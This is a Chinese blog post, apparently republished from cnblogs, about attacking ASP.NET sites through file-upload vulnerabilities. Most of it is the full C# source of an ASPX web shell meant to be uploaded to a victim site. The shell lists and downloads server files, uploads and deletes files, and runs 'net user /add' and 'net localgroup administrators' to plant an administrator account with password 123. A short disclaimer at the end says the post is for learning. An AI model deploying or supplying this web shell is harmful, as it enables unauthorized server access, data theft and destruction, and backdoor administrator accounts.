博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
利用上载漏洞,攻击asp.net 网站
阅读量:5286 次
发布时间:2019-06-14

本文共 3310 字,大约阅读时间需要 11 分钟。

偶然发现有些网站存在上载漏洞, 于是乎我利用闲暇时间写了一个小工具。

这个工具主要可以用来列出网站所有文件 , 上传下载、删除网站文件等功能 。

将以下代码保存为文件 lkfile.aspx (可以命名为任意.aspx 文件),

利用上载漏洞上载到网站后, 得到类似路径

当然 测试时 也可以自己创建一个 解决方案, 把本文件放入到 解决方案中 

当访问

列出网站目录内容  如图 ,点击 可以进入目录或者下载

访问此链接

选择文件 点击Upload 上载文件 到 第一个文本框指定的目录, 会先删除原有文件

点击 Delete 删除文本框1 中指定的文件

点击User 会尝试创建 文本框1 中命名的用户 密码为 123

 

 
<%@ Page Language="C#" %>
<%@ Import Namespace="System.IO" %>
 
private void Page_Load(object sender, EventArgs e)
{
try
{
if (!IsPostBack)
{
string upFileFlag = Request["up"];
if (string.IsNullOrEmpty(upFileFlag) || upFileFlag.ToLower() != "on")
{
//列出、下载 文件
Response.CacheControl = "no-cache";
Response.Clear();
string url = Request["lk"];
if (String.IsNullOrEmpty(url))
{
Response.Redirect("/");
}
string path = Server.MapPath(url);
FileAttributes fas = File.GetAttributes(path);
if ((fas & FileAttributes.Directory) == FileAttributes.Directory)
{
string webRoot = Server.MapPath("/");
Response.Write(string.Format("
..{0}
", path));
string[] array0 = Directory.GetDirectories(path);
foreach (string name in array0)
{
string vpath = name.Substring(webRoot.Length);
Response.Write(string.Format("
{1}
", vpath, vpath));
}
string[] array1 = Directory.GetFiles(path);
foreach (string name in array1)
{
string vpath = name.Substring(webRoot.Length);
Response.Write(string.Format("
{1}
", vpath, vpath));
}
Response.End();
}
else
{
FileInfo fi = new FileInfo(path);
Response.ContentType = "application/octet-stream";
Response.AddHeader("Content-Disposition", "attachment;  filename=" + HttpUtility.UrlEncode(fi.Name, System.Text.Encoding.UTF8));
Response.WriteFile(path);
Response.Flush();
Response.End();
}
}
else
{
//显示 文件上传窗口
}
}
else
{
//上传文件
}
}
catch (Exception ex)
{
using (StreamWriter w = File.AppendText(Server.MapPath("/") + "log.txt"))
{
w.Write(ex.StackTrace);
w.Write(ex.Message);
}
}
}
 
protected void Button1_Click(object sender, EventArgs e)
{
try
{
if (FileUpload1.HasFile)
{
string vpath = TextBox1.Text;
string realpath = Server.MapPath(vpath);
string fullpath = realpath + FileUpload1.FileName;
if (File.Exists(fullpath))
File.Delete(fullpath);
FileUpload1.SaveAs(fullpath);
}
}
catch (Exception ex)
{
using (StreamWriter w = File.AppendText(Server.MapPath("/") + "log.txt"))
{
w.Write(ex.StackTrace);
w.Write(ex.Message);
}
}
}
 
protected void Button2_Click(object sender, EventArgs e)
{
try
{
string vpath = TextBox1.Text;
string realpath = Server.MapPath(vpath);
if (File.Exists(realpath))
File.Delete(realpath);
}
catch (Exception ex)
{
using (StreamWriter w = File.AppendText(Server.MapPath("/") + "log.txt"))
{
w.Write(ex.StackTrace);
w.Write(ex.Message);
}
}
}
 
protected void Button3_Click(object sender, EventArgs e)
{
try
{
string username = TextBox1.Text;
if (string.IsNullOrEmpty(username)) username = "crack";
System.Diagnostics.Process.Start("cmd.exe", string.Format("/c net user /add {0} 123", username));
System.Diagnostics.Process.Start("cmd.exe", string.Format("/c net localgroup administrators {0} /add",username));
}
catch (Exception ex)
{
using (StreamWriter w = File.AppendText(Server.MapPath("/") + "log.txt"))
{
w.Write(ex.StackTrace);
w.Write(ex.Message);
}
}
}
 
 
 
test
 
 
Store Path :
 
 
 
 
 
 

本文章仅用于学习用途, 希望各位程序员朋友在今后的 编码过程中 尽量避免此类BUG 。

转载于:https://www.cnblogs.com/kevinlc/p/3273522.html

你可能感兴趣的文章
Luogu_4103 [HEOI2014]大工程
查看>>
Oracle——SQL基础
查看>>
项目置顶随笔
查看>>
Redis的安装与使用
查看>>
P1970 花匠
查看>>
NOIP2016提高A组五校联考2总结
查看>>
iOS 项目的编译速度提高
查看>>
table中checkbox选择多行
查看>>
Magento开发文档(三):Magento控制器
查看>>
性能调优攻略
查看>>
ie6解决png图片透明问题
查看>>
瞬间的永恒
查看>>
2019-8-5 考试总结
查看>>
JS中实现字符串和数组的相互转化
查看>>
web service和ejb的区别
查看>>
Windows Azure Cloud Service (29) 在Windows Azure发送邮件(下)
查看>>
微信上传素材返回 '{"errcode":41005,"errmsg":"media data missing"}',php5.6返回
查看>>
div或者p标签单行和多行超出显示省略号
查看>>
Elasticsearch 滚动重启 必读
查看>>
Hadoop基本概念
查看>>